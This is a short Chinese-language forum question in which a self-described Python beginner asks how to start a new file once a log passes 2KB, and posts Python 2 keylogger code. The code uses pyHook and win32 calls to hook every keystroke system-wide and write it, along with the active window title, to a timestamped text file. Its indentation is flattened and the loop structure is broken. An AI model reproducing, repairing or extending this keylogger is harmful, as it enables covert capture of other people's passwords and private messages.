1
我想檢查我正在寫密鑰的文件是否超過2Kb。如果它超過2KB,那麼我需要製作另一個文件並停止在這個文件中寫入。我是python的開始人,請幫助我。請指出我可以在哪裏使用代碼來檢查文件是否大於2kb。在pyhook pumpmessages中使用自己的代碼
import win32api , win32console , win32gui , pythoncom , pyHook , sys, time ,os
import datetime
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
while True:
def OnKeyboardEvent(event):
global lastWindow
window = event.WindowName
key = chr(event.Ascii)
if window != lastWindow:
print window
lastWindow = window
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
希望你能幫助